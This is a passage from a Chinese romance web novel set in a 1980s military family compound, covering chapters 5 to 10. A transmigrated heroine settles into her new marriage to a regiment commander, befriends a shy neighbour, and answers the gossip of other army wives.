他算是看明白了,这邱婶子是个难缠的,而沈团长这位新媳妇,看着也不像是个好惹的主儿,他可不希望两位在他这儿纠缠下去,影响他们保卫科的声誉。 听到这话,邱婶子应了一声,说自己锅里还发着面呢,忙不迭地就溜了。 几个兵哥哥还想看热闹,都被廖科长给赶走了,人都散了之后,屋子里就剩下两个人。 “回去再说。” 沈淮川全程都没再看周柒柒一眼,只丢下四个字,就自顾自的开了门往外走。 周柒柒当然选择跟上去,但刚一挪步,就感觉脚下火辣辣的疼,感觉像是长泡了,而且还不止一个。 “沈淮川!等等,我脚疼,你能不能扶...” “不能。” 话音还没落,对方就冷冷的回了一句,头也没回。 什么呀?刚才还夸他好男人呢,这会儿这算怎么回事? 要不是脚疼的厉害,她也不想开口的,而且,她再怎么说,也是他“爱人”,扶一下能怎么样?也太不贴心了吧? 周柒柒撇了撇嘴,正想咬牙跟上去,眸光一转,却眼尖的看到男人耳廓泛着可疑的红。 这家伙不是不贴心,而是...害羞了? 看着不远处还在回头看这边热闹的几个兵哥哥,她眸光流转,抿了抿娇唇,用不高不低的声音喊道,“老公...” 这声音娇的像是三月柳梢。 “闭嘴!” 沈淮川带着薄茧的掌心猝然捂住她的嘴,眼神锋利冷峻,透着警告。 要不是看到他红的要滴血的耳根,周柒柒还真要被他吓着了。 “疼...” 她娇娇弱弱的从他的指缝蹦出这么一个字,顺带着伸出脚丫子给他看。 薄薄的白色袜子下面,隐隐渗出几团血迹,没人扶着,是真走不动路了。 沈淮川迅速移开自己的手,轻轻拢了拢,脖颈青筋突跳,喉结重重滚过,单膝点地,半跪在了周柒柒面前。 “上来!” 这是...要背她? 周柒柒可不矫情,对方是自己老公,背她也是应该的,当场就爬了上去。 沈淮川的后背很宽,肌肉虽然冷硬了点,但意外的,一点也不膈人,反而还挺舒服。 “哟,你们快看!沈团长背媳妇了!” 远处那几个兵哥哥正抻着脖子朝这边张望,看到这一幕,纷纷吹起了口哨。 沈淮川黑着脸瞪了他们一眼,想说什么,却又没开口,只是背着周柒柒飞速逃离现场。 第6章 扮猪吃老虎? 沈淮川后背绷得像是一块铁板。 他负重越野年年都是军区第一名,背上那点重量轻飘飘的,完全不算什么,可女人凌乱的发丝随着步伐晃动,若有若无的扫过他后颈,刺得他后背发烫,脚步不得不放慢些。 相比于他,周柒柒倒是自在得很。 她两辈子都没进过军属区,看什么都新鲜。 这会儿已经熄灯了,只有昏黄的路灯还亮着,映的整个军属区像是褪了色的老照片,灰扑扑的筒子楼一栋栋紧挨着,窗外绳子上晾满了衣裳,空气中浮着煤球燃烧后的焦苦味。 沈淮川专挑没人的小路走,月光将他的影子拉的老长,裹着两人交叠的身影,在石板路上晃成模糊的一团。 “到了。” 推开院门时,周柒柒的眼睛倏地亮了。 整齐的三排一层的小院里,唯独这一栋透着新刷的石灰味儿。 真不愧是团长,这住的房子就是不一样! 这里以后就是她的家了! 周柒柒搂着沈淮川脖子的手不自觉收紧了些,满怀期待的跟着他一起进了屋。 刚一进去,她就傻眼了。 这房子,也就外头看着气派,里头嘛,冷冰冰的。 一整套家具棱角分明的杵着,所有东西全部摆放的像是在列队一半整齐。 里外里干干净净,一点儿杂物都没有,也没有任何装饰,甚至连窗帘都没有。 纯纯的兵营极简风。 “交代情况。” 屁股刚着地,沈淮川已经在他对面坐下,眉头一挑,锋利冷峻的眸子直直看向她,开口道。 这说话方式,这扑克脸,配上周围这环境,周柒柒瞬间感觉,自己不是他媳妇,而是他手下的犯人。 这那是什么兵营极简风,是纯狱风啊! 她好像有点理解,为什么林瑶不想嫁给沈淮川了。 不过,她周柒柒可不是什么原身那种软柿子、受气包,她习惯什么事儿都掌握在自己手里,眨巴着眼睛可怜兮兮道。 “沈团长,审犯人也得给口水喝吧,而且...” 她晃着沾着血迹的脚丫子,尾音拖的绵软,“我脚底板还疼着呢!有没有药啊?” 刚才在警卫室她就看出来了,沈淮川这人,也就是脸色冷了点,但随便撒撒娇,就能轻易拿捏,纯纯纸老虎。 果然,男人看着她那五个灵活跳舞的脚指,眸色晦暗的眨了眨,起身去给她倒了一杯水,连带着,还去屋子里翻出来一罐药膏。 水是凉水,水管里接的,有股怪味,不过周柒柒渴的厉害,也顾不上,咕嘟咕嘟全给喝完了。 然后就开始动作麻利的挑水泡,涂药膏。 她一向独立自主,能自己做的,就不会找人帮忙。 但也从不亏待自己,像刚才走不动路了,就毫无顾忌的寻求沈淮川的帮助。 之前一直奔波在路上,她还没仔细观察过这具身体,现在一看,真是触目惊心。 原身今年不过也才二十岁,脚底板就有那么厚一层老茧,是常年下地干活留下的,而且,她的小腿以下,还有不少红褐色的陈年疤痕。 这些是以前做饭的时候烫的,许家人不舍得给她买药,新伤旧伤叠在一起,引发了感染,一直都没好。 薄荷味的药膏混合着血腥气,熏得周柒柒鼻尖发痒,泪眼汪汪的。 她对原身愈发同情了,悠悠开口,把原身这十几年在许家的遭遇说了出来。 包括她父母去世后,许家人是怎么对待她的,她和许树的关系,以及这趟过来之后的经历。 不过她说的都是原身的遭遇,关于自己的可是一个字儿都没说。 语调柔柔弱弱的,多少带点委屈,眼眶微红,看起来可怜兮兮的。 这一招就叫,扮猪吃老虎! “你是说,许家人一直都在欺负你?欺负了十几年?” 沈淮川眉头紧皱,挑眉看向周柒柒,眸光深邃,看不清究竟是什么态度。 “是啊!” 被他这么盯着,周柒柒心里没来由的一慌,吞了吞口水,下意识的点了点头。 不过很快,她就冷静了下来,她又没说谎,怕什么! 她就是很可怜嘛! 说着便是挺起胸脯,眨巴着眼睛正面对向沈淮川寒潭般的眸。 “总之,现在情况就是这么个情况,反正你结婚报告都打了,法律上,我已经是你媳妇了,我只能随军过来,没别的办法了,总不能离婚吧,你说呢?” 说到结婚报告,沈淮川眸光微闪,低下了头。 半晌,他才沉闷开口,声音犹有些低哑,“我确实需要一个爱人。” 父母身体一直不好,嘱咐他今年一定要把媳妇娶回来,一直在向他施压,甚至把话都递到他们军区政委那儿去了,今年再不结是真不行了。 而林瑶那边,一直拖着不愿意跟他见面,他看得出,她并不想嫁给他。 即使他已经答应她的要求,给了她去军区医院实习的机会。 而眼前这个女人... 沈淮川知道她在扯谎,但不知为什么,不想拒绝。 这个念头,从在宾馆看到她的第一眼,就从他心底莫名滋生了出来。 后来在警卫室,看到她小鹿般湿漉漉,充满依赖的眸子,听到她说那句——“我就是沈淮川媳妇儿!沈淮川就是我老公!”时,这念头愈发挥之不去。 这种感觉很陌生...但,他并不抗拒。 听到这句话,周柒柒悬着的心终于放下来了。 沈淮川也需要结婚,就正好和她的需求对上了! “太好了!” 完全拿捏! 她忍不住开心的感叹起来,沈淮川的态度却变得严肃起来,攥紧拳头,目光灼灼。 “你确定,我的情况你全都知道了?不介意?还愿意嫁给我?” “不介意!我愿意嫁给你!” 周柒柒一本正经的点了点头。 在医院的时候,许树为了劝说她,把沈淮川家里的情况说的很明白了。 沈家军人世家,有三个儿子,也全都是军人,沈淮川排行老三。 大哥沈淮山边境打仗时受伤失踪,十年来杳无音讯,二哥沈淮岳和媳妇三年前执行任务时受了重伤,变成了植物人,现在双双躺在医院里,靠着仪器勉强维持生存。 沈父和沈母,十年来忧思过度,身体也都不大好,一直住在疗养院里。 许树的原话是:“虽然沈家是有点晦气,不过柒柒你也是父母双亡,嫁过去正好合适!应该不会被克死!” 周柒柒当时就想一脚把许树踹飞。 他才不吉利,他全家都不吉利! 周柒柒可是社会主义旗帜下长大的好青年,对军人有天然的好感,不但不介意,反而觉得挺佩服的。 她刚想安慰沈淮川几句,一抬头,却猝不及防撞进他眼底,那里头翻滚着她看不懂的情绪,烫的她心尖发颤。 “有些事要提前说清楚。” 他语气依旧冷硬,但语调却有些颤抖,“我常年出任务,你要...” 周柒柒晃着脚丫子打断他,“得做好心理准备嘛!我心里有底!我会做好一个合格的军嫂!一个优秀的...” “爱人”两个字在她舌尖转了转,终是没说出口,而是变成了,“一个优秀的妻子!” 这是她的承诺,也是她能做到的全部了。 身为一个重组家庭里,爹不疼、娘不爱的女孩,她天生不相信什么爱情。 所谓的结婚,不就是两个人搭伙过日子吗? 她可以保证尽到妻子的本分,但“爱人”两个字,对于她来说,太不切实际了。 但是她愿意做一个合格的军嫂,一个优秀的妻子,一个没有血缘关系的亲人。 沈淮川听到她这句话,本该高兴的,但不知为何,心底却忽地涌现出一阵刺痛。 不想被看出的他转身去给自己倒了杯水。 却听到身后传来一阵震天响的“咕咕咕”声。 第7章 宝宝肚肚打雷了 “打雷了?没有啊!” 沈淮川狐疑的朝着窗外看去。 可窗外月光皎洁,连一丝风都没有。 “不是外面打雷了,是宝宝肚肚打雷了。” 周柒柒满脸通红,捂住脸,小声说道。 好丢脸! 这可是他们两个“私定终身”的重要时刻,她怎么可以发出这种声音! 不过这也不能怪她啊,这副身体常年营养不良,她从中午到现在,十多个小时都没吃东西,又消耗了那么多体力,实在是饿得受不了了。 “宝宝?什么宝宝?” 沈淮川听不懂她的梗,周柒柒也不好意思解释,赶忙说自己饿了,问他有没有吃的,实在不行煮点挂面也行。 她是真扛不住了。 “都没有,家里也没炉子。” 他们军区政委一个月前把这栋小院分配给他,下了死命令让他三个月内结婚。 但他知道林瑶估计不会答应,所以也没添置过这些东西。 平时家里两口人吃饭,都是他去食堂打回来的。 不过好在,他背包里还有这次出任务带的压缩饼干,给她掰了半块下来。 看着眼前一股哈喇子味的小方块,周柒柒眼泪都快下来了,这是真遭罪啊。 不过为了身体,她还是义无反顾的咬了下去。 这压缩饼干是小麦粉高压压缩成的,加了点糖精,吃起来就像是在啃粉笔一样,根本咽不下去,可要是加了水一起吃,又会糊一嘴。 勉强吃了半块,止住胃疼后,周柒柒说什么都不肯再吃了。 “这也太难吃了,还不如洗洗睡了,睡了就不感觉到饿了。” 沈淮川没说什么,只是把那剩下那半块又包好。 周柒柒洗漱完之后,他已经坐在了卧室床边,显然是在等她。 卧室里是一张双人床,铺着军绿色床单,床尾有一个“豆腐块”,一看就是沈淮川平时睡的地方。 周柒柒吃饱喝足了,脑子不由自主地开始疯狂运转。 他们俩这就要睡一起了吗?这...是不是有点太快了? 她可还没准备好呢? 不过,也不是不行,反正她都看过他的身子了,伸头一刀,缩头也是一刀,不如早死早超生,万一体验不错呢? 她一边吞口水,一边走到沈淮川身边坐下,却没想到他立马触电一样站了起来,手里的信封也掉下来了。 “这是什么?” 周柒柒好奇的拆开,只见里面鼓鼓囊囊的装的全是“大团结”,估摸着得有三百多块,还有一些粮票,肉票什么的。 不愧是团长,家底就是丰厚。 不像许树,扣扣嗖嗖的,一百块都要到处借! 她正感叹呢,却听沈淮川说:“这些是这两个月的工资和津贴,你先拿着花,剩下的两千块存在存折里,之前搬家的时候,政委帮我保管着,回头我再拿过来给你。” “多...多少?” 周柒柒下巴都快要惊掉了,这年代普通人一个月工资也就三四十块,他居然有两千块存款??? 她穿越前余额都没这么多! 沈淮川眼睛都不眨一下,“不够的话,家里还有。” “够...够了。” 周柒柒吞了吞口水,幸福的摸了摸鼓鼓囊囊的信封,随即却是抽出十张,含泪把剩下的递了回去。 “我花不了那么多,给我一百块,我给家里添置点东西就行,至于以后,你每个月工资给我五十块,用作家里开支就行。” 她想了半天,觉得这个比例比较合理,不过沈淮川却完全没有接过去的意思,挑了挑眉。 “都给你,你自己分配,愿意花就花,愿意存着就存着,花完了家里还有。” 说着就走出了房间,说是去借床被子,在客厅打地铺。 周柒柒舒了一口气,虽然有点可惜,但她确实困得厉害。 不过在睡着之前,却也没忘记理直气壮地叮嘱他。 “那你留着点门,别给我敲醒了。” 沈淮川点头应了,不多时,却毫不犹豫地用力叩响了大门。 哐哐哐~!哐哐哐! “这么晚了,谁敲门啊?” 中年男人刚睡着,听到敲门声,嘟囔了一句,蒙住被子准备继续睡。 “我看看去。” 她身旁的妇女放下手上正在看的书,摘下眼镜正准备下床,却被男人按住,半睁着眼睛披上外套,“我去吧,你继续看书。” 门外的敲门声还在继续,而且比刚才还更急促了点。 “谁啊?!” 男人眉头紧皱,打定主意要好好教训一下来人。 但门一开,眉头却是一下子就舒展下来,“淮川?” 沈淮川行了个军礼,“雷政委!” “快,进来说!” “你不是执行任务去了吗?怎么这么快就回来了?是不是出什么事了?” “没有,任务已经完成了。” 沈淮川板正的摇了摇头,拿出一个牛皮纸袋递了过去,语气急促。 “我是来交结婚报告的。” 雷政委有些错愕,沈淮川这趟出任务,还多申请了两天,说是去找林瑶商量结婚的事儿,但鉴于林瑶之前的态度,他也没抱什么希望。 回过神来后,他立马喜上眉梢的调侃起来。 “你这小子,平时闷葫芦似的,说起林瑶就皱眉,一点儿也不开窍,我还以为你对这事儿有抵触情绪呢,没想到是闷声办大事啊!” 一边打开牛皮纸袋,一边还着屋子里喊了一声。 “淑华,你快过来!有喜事!” 周淑华刚才就起来了,去拎了个暖水瓶过来,给沈淮川倒了杯热水,也是笑眯眯的。 “我还以为谁敲门呢,这么着急过来打结婚报告,是生怕人家女方反悔了?这小年轻谈恋爱,就是和咱们不一样!甜蜜着呢!” “不是林瑶。” 沈淮川正襟危坐,眉头紧了紧,眼中露出几分嫌弃。 雷政委夫妻俩这时也打开了牛皮纸袋,看着里面单独一页的户口本,和上面陌生的名字-【周柒柒】,都惊呆了,异口同声问道。 “怎么回事?” 沈淮川神色恢复了之前的冷硬,简单讲述了一下事情发生的过程。 不过略过了很多细节,只简单说是自己没注意,当众和女同志搂抱在了一起,被很多群众,尤其是周柒柒的未婚夫看到了,影响了周柒柒的名声。 雷政委和媳妇对视一眼,都有些沉重,这个年代,名节确实是大事。 “身为军人,出了这种事,对人家女同志负责也是应该的。” 雷政委神情严肃,第一时间表态。 “报告我明天一早就往上送,你先回去吧,把人安顿好。” 一旁的周淑华补充道。 “人来的太突然了,你那房子里啥也没有,跟兵营一样,这样吧,明天我带着后勤部的人过去一趟,给你家里送点炉子、煤球,米面什么的,至少先把家里的火生起来。” 沈淮川点了点头,又问道,“有没有被子?” 周淑华愣了一下,很快点了点头。 “有有有!储物间顶柜上有新的,你跟我去拿!” 沈淮川要的是被子,但走出储物间的时候,左手夹着被子,右手拎着两罐麦乳精和一兜子橘子罐头,送出门的时候,还顺手提溜走了一只装满水的暖水瓶。 口袋里,还插着存折本。 周淑华站在门口,看着“满载而去”的沈淮川,拧着眉,似乎在思索些什么。 雷政委合上门,把外套披到媳妇身上,调侃道。 “怎么,儿子第一个月工资买给你的东西让人拎走,心疼了?” 周淑华白了他一眼,“去去去,我有那么小气嘛?” 拢了拢外套,回到茶几前,拿起一张红底照片,看着上面像豆芽菜一样干干瘦瘦的脸庞,思索道。 “我是感觉,淮川好像有点不对劲啊,之前让他给林瑶买点东西,他推三阻四的,怎么都不愿意,我还以为这孩子抠门财迷呢,但是这会儿,换了个媳妇,怎么好像变了个人一样?” “这事儿,有点怪。” “不行,我明天得给军区医院那边打个电话,找林瑶问问,究竟是怎么一回事!” 沈淮川的父母都不在身边,身为海子湾军属区的妇女主任,这事儿,她得留心。 “这一般二般的,明天看见不就知道了嘛?” “记得,得把东西准备好咯,毕竟是淮川的媳妇儿,咱们得照顾好。” 第8章 俩狐狸精站一排 尽管心里觉得周柒柒不好,但周淑华还是把该准备的东西全都准备好了。 早上吃完早饭,就风风火火地去后勤部仓库,淘了个八成新的旧煤炉。 然后又从自家煤球堆里,扒拉出两筐子品相好的蜂窝煤,把家里没用过几次的烧水壶和铝锅擦的铮亮,米面调料也都各自装了一点。 叫上几个勤务兵,抬着东西去了沈淮川家的小院。 这一番操作费了不少功夫,等赶到的时候已经是十点多了,敲门一直没人应,还以为人是去上厕所了。 但左等右等,愣是等不到人。 “这人去哪儿了?” 她正纳闷呢,一位熟悉的军嫂路过,跟她说道。 “邱嫂说看到新媳妇搭采买车出去了,说是带了不少票子出去呢!还穿的花枝招展的!” “是吗?” 听到这话,周淑华瞬间脸色就沉了下来。 不是说是村里来的小姑娘吗? 这刚来第一天,就迫不及待出去花钱。 她越来越觉得,自己的第一印象没错,这个周柒柒,真不是啥安分的好女人! 而与此同时,人民医院里。 “18号患者周柒柒!” 药房小窗“哗啦”一下被推开,里面穿着白大褂的护士一边喊着名字,一边递出几瓶药。 “来啦,谢谢~!” 周柒柒接过药,笑盈盈看向身旁戴眼镜的女子。 “莹莹姐,多亏有你!要不是你的话,我连路都找不着呢!” 朱莹莹耳尖泛红,手指手指绞着布包带子,细声道,“不...不用谢的。” “那我们现在就去供销社吧,我家里啥都没有,这地方我也不熟,还得莹莹姐帮我好好参谋参谋。” 周柒柒顺势挽起她的胳膊,朱莹莹吓了一跳,不过却没拒绝,嘴角还悄悄勾起一丝弧度。 周柒柒敏锐地捕捉到这抹笑容,胳膊挽得更紧了,庆幸自己遇上了个好邻居。 虽然昨晚睡得早,但也不耽误周柒柒早上起的晚,这一觉直接睡到了九点多。 沈淮川早已经出门了,只压了一张字条在桌上地麦乳精下头,说是去部队述职了,旁边还放着一只暖水瓶。 周柒柒打开一摸,水还是温的,也没啥怪味,赶紧用饭盒泡了点麦乳精,喝起来暖呼呼的,比压缩饼干不知道好了多少倍。 她心想,这沈淮川,表面冷若冰霜,没想到心思还挺细腻的。 周柒柒还是头一回被人这么默默关心,心里不由对沈淮川加了不少好感。 她第一次感觉,穿越,似乎不是一件坏事。 但不到两分钟,她就推翻了自己的想法。 这什么破地方啊,家里连个厕所都没有! 原主这身体本就虚弱,长期饥一顿饱一顿的,麦乳精一进肠胃,肚子就叽里咕噜地闹腾起来,随时准备一泻千里。 可周柒柒在家前前后后转了一圈,就是没找着厕所。 转念一想,这年代普通人家里人哪有厕所啊。 她慌了,赶忙出门找人问路。 先是去敲了左边那户人家,明明能听见屋里有动静,可她怎么敲门都没人回应,都快急死了。 好在右边住户正要出门,一听她问厕所,赶紧就领着她过去了,还好心给她拿纸,完事又远远等着她,给她带回家。 她全程没说过一句话,距离周柒柒也是远远的,看到周柒柒的视线就赶忙低头回避。 换做旁人,可能会觉得这人嫌弃自己,但周柒柒一眼就瞧出来,这人,只是社恐而已。 上大学的时候,她就有这么一个社恐舍友,刚开始还不熟的时候,跟只小兔子一样,一跟人说话,好像脑干都被抽了。 可熟悉之后,才发现,她人特好,就是有点敏感脆弱,太在意别人的看法,害怕麻烦别人而已。 而且这样的人,一旦和你成了朋友,就会毫无保留地付出真心,秒变社牛。 和这样的人打交道,也挺简单的,只要付出真心就好了。 于是,周柒柒想也没想,直接快步上前,说自己脚受伤了,询问对方给能不能带她去医务室。 不过不太凑巧,军属区医务室之前的医生怀孕生孩子去了,一直没调新医生过来,要看病,只能去城里的人民医院。 “要去的话,可以搭采购车过去,现在还来得及,就在那...那边...” 那人一边指路,一遍藏住自己手里的小包,想要逃离回家。 周柒柒怎么可能让她逃走,当场就大咧咧的拽着她一起去坐车了。 采购车上的小兵显然认识那人,也没多少什么就让两人上车了。 在路上,周柒柒做了自我介绍,对方也介绍了一下自己。 她叫朱莹莹,比周柒柒大五岁,今年二十五了,男人也是团长,和沈淮川一个师的,叫王铁军,不过比沈淮川要大上不少,都三十五岁了。 别看朱莹莹社恐,模样却十分秀气,身材高挑纤瘦,妥妥的气质美女。 周柒柒心里犯起了嘀咕,这么个大美人,怎么就嫁给了比自己大十岁的男人? 而且听这名字,估计也是个出身农村的糙汉? 她有点好奇,但也没有追问。 到了医院,沈淮川给周柒柒拿的药还挺管用的,一晚上的时间,脚就已经不怎么疼了。 但是她脚上的烫伤感染比较麻烦,得长期用药才行。 拿过药,两人就一起去了供销社。 上一辈子她习惯了网购,几乎所有的东西都是在网上买的,已经很久没来过这种实体店了,对现在地物价又不是很熟悉,只能求助朱莹莹。 别看朱莹莹社恐,但做起事情来,还是很井井有条的。 她拿出了个本子,让周柒柒说出自己要买的东西,然后带着她一个个柜台跑。 家里啥都缺,锅碗瓢盆、油盐酱醋,还有床单被罩什么的,一样都不能少。 一直买到傍晚,两人才提着大包小包从供销社,其中只有一块五花肉是朱莹莹买的,其余全都是周柒柒的东西。 两人紧赶慢赶的,总算是赶上了采买车,回到了军属区。 快到家时差不多四点多,路过中心广场,大树下围着一群军嫂,正坐在马扎上一起择菜呢,边择边七嘴八舌的闲聊着。 “真的?当着那么多人的面,就抱一起了?” 邱春芳甩开手里的芹菜梗,三角眼吊的老高,使劲地点头。 “那可不!可会勾引男人了!不光我看见了,保卫科那帮人也都看见了!而且后面还不肯走路,要沈团长一路抱回家!我看的真真切切的!” “真不要脸!” “要不为啥沈团长不要林瑶这个大学生,而是要她这么个农村妇女呢?我瞅着她长得也不好看,干瘦的跟豆芽菜一样,要胸没胸,要屁股没屁股的,还不如朱莹莹呢!” 邱春芳越说越不着调,她旁边一个穿青色布袄的婶子也瞥了瞥嘴,抻长脖子对众人道。 “那个朱莹莹也不是啥好东西,平时仗着自己是城里来的大学生,心高气傲,从来不搭理咱们,在家也啥都不会干,跟傻子一样,但就是能把王团长的魂儿勾走!都是狐狸精!” 一个年轻军嫂在在旁边听了许久,忍不住插话道。 “这俩人长什么样啊?我都还没见过呢,真想瞅瞅!能降伏这俩团长的,尤其是沈团长那个活阎王,可不是简单人物!” 邱春芳冷笑一声,“等有机会,我让这俩狐狸精站一排,给嫂子们好好瞅瞅!大家也好跟着学一学!” 这话逗得众人哄堂大笑,邱春芳很享受这种被众人拥簇的感觉,正乐呵着呢,却忽然感觉背后被人重重捅了一下。 一回头,周柒柒正居高临下的看着她。 “还笑~?你机会来了!” 第9章 用魔法打败魔法 “哎呦~” 邱春芳压根儿没料到,自己在背后编排人,竟被逮了个现行。 心里“咯噔”一下,猛地一慌,身子一扭,那肥硕的屁股“噗通”一声,重重摔在泥地上,疼得她五官都拧到了一块儿,龇牙咧嘴直抽冷气。 刹那间,一圈军嫂的目光“唰”地一下,全朝着周柒柒射了过去。 和昨天那副灰头土脸的模样截然不同,今儿个出门前,周柒柒仔仔细细把自己洗了个干净。 她精心梳了个蓬松高马尾,活力满满。 从包袱里翻出唯一一件新衣裳换上,那是为结婚准备的大红色带白波点的长裙,明艳又俏皮,腰间拿一根红色纱巾当作腰带,恰到好处地一系,本就纤细的腰肢,瞧着愈发盈盈一握,柔弱得好似风一吹就能折断。 虽说身材看着瘦弱,可该有的曲线一样不少,前凸后翘。 巴掌大的小脸,在大红布料的衬托下,愈发显得明艳动人,光彩照人。 这哪里是什么邱嫂口中瘦巴巴的豆芽菜啊,分明就是一朵娇艳欲滴、浑身带刺的野玫瑰。 周柒柒仿若没察觉到众人投来的目光,只是居高临下地瞧着地上的邱春芳,不紧不慢,悠悠开口。 “不就是沈淮川背了我一下嘛,他可是我男人,背自家媳妇,天经地义呀,邱嫂子,您倒好,张口闭口‘狐狸精’,说我勾引人……” 她嘴角噙着一抹若有若无的笑意,眼睛里满是狡黠,像只古灵精怪的小狐狸,话语里还带着几分好奇:“怎么着,邱嫂子,您这是眼馋我家男人呐?” 话音刚落,她又顺势转向刚才也在嘀咕朱莹莹的那位军嫂,目光轻扫过去,不咸不淡道:“还有这位嫂子,您说朱莹莹是狐狸精,难不成,您也馋王团长?” 话锋一转,陡然加重语气,“你们二位,这作风可大有问题啊!” 面对这些肆意造黄谣的人,周柒柒可没傻到直接回怼,而是以其人之道还治其人之身,把编排人的话原封不动地送了回去。 这招啊,就叫用魔法打败魔法! 要知道,沈团长和王团长,那在军属区里,可是数一数二的极品男人。 沈团长25岁,年轻有为;王团长35岁,成熟稳重。 两人是整个军区最有前途的两人,往后晋升的机会多着呢。 肯定会有人眼巴巴地眼馋。 一时间,一圈围观看热闹的军嫂,目光又“唰”地一下,聚焦到邱春芳和另一位军嫂李红娟身上。 众人你一言我一语,开始窃窃私语起来,那眼神,一个比一个暧昧,仿佛知道了什么不得了的秘密。 邱春芳只觉得一股怒火“噌”地从脚底直蹿脑门,气得七窍生烟。 她费了好大劲,才从地上艰难地爬起来,伸出胖手指,指着周柒柒,破口大骂:“你你你……你这不是血口喷人嘛!简直是造谣,无中生有!” 一边骂,还一边伸手拉住李红娟,义愤填膺地嚷嚷道:“红娟,走,咱们一起去保卫科告她去,让她知道厉害!” 周柒柒一听,非但没怕,反而双手叉腰,昂首挺胸,毫无惧色:“行啊,去就去,正好当着大家伙儿的面,把这事儿掰扯清楚,看看究竟谁有理!” 李红娟的丈夫,正是保卫科科长廖爱民。 这事儿,刚到军属区不久的周柒柒压根儿不知情,可邱春芳却是门儿清,心里暗自得意,默默念叨着:哼,小贱人,看你现在还这么猖狂,等会儿到了保卫科,有你哭的时候! 要知道,保卫科可涉及部队纪律,一旦闹起来,要是出点什么岔子,自家男人在部队里也得跟着受牵连。 一般军嫂为了不给自家男人添麻烦,都不太愿意往保卫科跑。 平时邱春芳和李红娟仗着这层关系,在军属区里没少作威作福,欺负人。 说着,邱春芳就要拽着李红娟走,可谁能想到,李红娟脸色一沉。 猛地一把甩开她的手,头也不抬一下,匆匆忙忙弯腰拿起菜筐子,丢下一句。 “我不去,这都啥时候了,我得赶紧回去做下午饭,一会儿孩子该放学回来了。” “你...” 急什么?又不是你亲生孩子。 邱春芳看着李红娟那越走越快的背影,话到嘴边又咽了回去,心里别提多无奈了。 李红娟要是不去,就凭自己单枪匹马去保卫科,肯定治不了周柒柒。 没办法,她也只能不情不愿地跨起菜篮子,嘴巴动了动,嗫嚅一句:“我也得回去做饭了。” 说完,便扭动着肥胖的身子,走进了周柒柒家左边那栋小院。 这俩“领头的”一走,其他人自然也没了兴致,很快就作鸟兽散。 不过,还是有几个热心肠的军嫂,特意停下来,和周柒柒打了个招呼,周柒柒也都满脸热情,一一回应。 两人回到了周柒柒家里,朱莹莹放下东西,还一脸的难以置信。 “居然还可以这样!柒柒,你也太厉害了吧!” 刚才那阵儿,她一直躲在周柒柒身后,紧张得小脸通红,跟煮熟的虾子似的。 心里想着帮忙,可话到嘴边,怎么也说不出来,憋得她浑身难受。 “嗨,这算啥呀,不过是动动嘴皮子的事儿!” 周柒柒满不在乎地摆了摆手,紧接着又问道。 “她们...平时经常这样吗?背后编排人?” 朱莹莹随军都大半年了,对军属区里的情况,大致也算摸得门儿清。 她们这个军属区,是1980年军队现代化改革后才成立的,在陆军师里规模不小,随军的军属拢共有三百多户呢。 这些人来自天南地北,有城里的,也有农村的,大部分都没个正经工作。 平日里生活单调又枯燥,没啥乐子,闲来无事,也就只能聚在一块儿,唠唠嗑,聊聊八卦,打发时间。 不过,这军属区里有俩“刺儿头”,一个是三团一营营长的媳妇邱春芳,另一个是保卫科科长的媳妇李红娟。 这俩人是第一批随军的老资格,两人一个村儿的,平时就爱搬个小马扎,和那些农村嫂子凑在一块儿,东家长西家短,说个没完没了。 因为这事儿,没少和其他军嫂起冲突,闹得大家都不太愉快。 朱莹莹呢,性子比较安静,平时基本都一个人呆着,不爱出门凑热闹,倒也没和她们正面起过冲突。 但这也不影响她们背后编排她,她听到,也只是默默跑开,从来没想过,居然还可以正面怼回去。 想到刚才李红娟慌里慌张逃跑的样子,她开心的不得了。 周柒柒好奇道, “那个李红娟,那么讨厌你,你之前得罪过她吗?” 第10章 谁家的肉香 朱莹莹轻轻摇了摇头,紧张得不自觉掐紧了手掌,声音愈发微弱,带着一丝怯意,说道。 “没有啊,我也不清楚她为啥针对我,兴许是我哪儿做得不好,让她误会了吧……” “打住!” 周柒柒双手猛地按住她单薄的肩膀,力道大得让朱莹莹不得不抬头。 四目相对的瞬间,周柒柒杏眼圆睁,语气斩钉截铁的说道。 “你可不能这么想,遇到这种对方完全不讲道理的事儿,就别老在自己身上找原因,能怪别人,就千万别怪自己,记住了没?!” 说着她还竖起三根手指。 “有句老话怎么说来着,吾日三省吾身——吾是不是太客气了?吾是不是给他脸了?吾是不是该动手了?” 朱莹莹听得一头雾水,下意识推了推眼镜,小声嘟囔,“啊...我怎么记得,这话不是这个意思啊...” 周柒柒理直气壮,眼睛一眨不眨:“你肯定记错了。” 朱莹莹也不傻,心里明白周柒柒这是在开导自己呢,也不再反驳,红着脸点了点头。 可还是有些担忧,“你往后可得小心点,你今儿帮我说了话,往后李红娟肯定也得讨厌你。” 周柒柒满不在乎地晃了晃脑袋,乌黑的马尾辫跟着肆意飞舞,脸上洋溢着轻松的笑容。 “我才不怕呢,她要是讨厌我,我马上就讨厌她!” 说到这儿,她还像个抄起墙角的扫帚,在空中用力一挥,同时说着。 “记住咯,被狗咬了可不能跪着学狗叫,得抡起棍子,狠狠打瘸它的狗腿!” 朱莹莹被她这一连串歪理逗得扑哧笑出声,连日来的阴霾一下子就被冲散了。 两人说说笑笑收拾起屋子。 她们先是齐心协力,把门口堆着的炉子、煤球啥的,一股脑搬进家里。 接着,又把刚买的锅碗瓢盆、桌布、床单,全都布置起来。 也就不到一个钟头的工夫,原本冷冰冰、简陋得像兵营似的屋子,瞬间大变样,摇身一变成了温馨舒适的田园风。 原木色的家具上,都罩上了白色碎花布料,底下压了一层白色乔其纱和一层蕾丝布,罐头瓶子充当花瓶,里头插着周柒柒在军属区外头摘的小野花,星星点点,生机勃勃。 风一吹过来,轻纱曼舞,还有阵阵花香袭来,好看又好闻。 “好美啊!” 朱莹莹在屋子里兴奋地这儿瞅瞅、那儿看看,眼睛都看直了。 冷不丁一转头,瞧见昨晚沈淮川休息的那个小房间,和其他地方截然不同,依旧冷冰冰的,啥布置都没有。 “这个小房间...” 周柒柒轻咳一声,脸蛋“唰”地一下红了,有点不好意思。 “这个房间我不想有人住,就先这样吧,不用特意布置,布置舒服了,就赶不走人了。” 这布置舒服了,某人天天住,住上瘾了怎么办? 说完,她赶忙转移话题。 “你快过来,帮我量一下窗户尺寸,回头我再去扯点布料,先给卧室做几个窗帘,再弄点柜子、家具什么的。” 说着,两人就快步走进卧室。 可谁都没察觉到,院子当中,不知啥时候悄然站着一个人。 那人把两人的对话听得真真切切。 听完,脸色“唰”地一下就变得阴沉难看,转身离开了。 “莹莹,你有没有听到啥动静呀?” 